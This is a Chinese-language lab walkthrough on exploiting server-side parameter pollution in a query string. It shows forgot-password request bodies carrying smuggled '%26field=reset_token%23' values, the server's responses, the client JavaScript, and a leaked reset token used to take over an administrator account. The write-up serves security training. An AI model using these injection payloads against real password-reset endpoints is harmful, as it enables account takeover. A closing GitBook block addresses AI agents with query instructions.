> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# 查询字符串中的服务器端参数污染

### 在查询字符串中利用服务器端参数污染

**实验目标**/ 以管理员身份登录，然后删除用户 **carlos**.

#### 忘记密码功能

提供密码重置功能。

<figure><img src="/files/62f247faf203fcdd4313c4e82d9aea9ab0bd0edc" alt=""><figcaption></figcaption></figure>

发送到服务器的请求如下：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

服务器响应如下：

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="/files/c59432dcd4f09cc26ce31ad5346a438ae122b725" alt=""><figcaption></figcaption></figure>

#### 尝试污染参数

尝试通过以下方式添加新参数： `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

或编码后：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

服务器返回：

```json
{
    "error": "不支持该参数。"
}
```

#### 使用 `#` 字符

使用 `#`，行为会发生变化：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

或编码后：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

服务器响应：

```json
{
    "error": "未指定字段。"
}
```

这表明存在一个 **字段** 服务器端期望的参数。

#### 发现 `字段` 参数

发送以下请求：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

然后我们组合 `字段` 替换为 `#` 以注入额外值：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

或编码后：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="/files/612d20157fde77a977b39458ae39209feea97663" alt=""><figcaption></figcaption></figure>

通过测试不同的 **服务器端变量名**，你会得到带有代码的有效响应 **200**，揭示字段 **email** 和 **username**.

<figure><img src="/files/bf5a4b1396be70075148232772e2cd7a6a55d3b6" alt=""><figcaption></figcaption></figure>

#### 对 JavaScript 文件 forgot-password.js 的分析

一个可访问的 JavaScript 文件揭示了以下逻辑：

* 表单数据被手动编码。
* 查询通过 `fetch` 以 POST 方式发送。
* 如果响应包含 `result` 属性，则显示消息“请检查您的电子邮件”。
* 一个 **reset-token** 参数从查询字符串中恢复：

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "无效的用户名";
                }
                else
                {
                    forgotPasswordError.textContent = `请检查您的电子邮件："${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "无效的用户名";
            });
    } catch (error) {
        console.error("未预期的错误：", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

这证实存在一个可用的 **重置/令牌** 参数进行利用。

#### 操作 `reset_token` 参数

然后通过服务器端参数污染注入该参数：

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

服务器返回：

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="/files/29bb4093829a74d8d1673e9bd073577d08f71ed2" alt=""><figcaption></figcaption></figure>

#### 重置管理员密码

使用获得的令牌，你访问以下 URL：

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

这使你能够重置管理员的密码，使用该账户登录，然后删除用户 **carlos**，从而完成实验验证。

<figure><img src="/files/4a53bbbfe3f0018ca9de2fb589b00ca9309fbe07" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
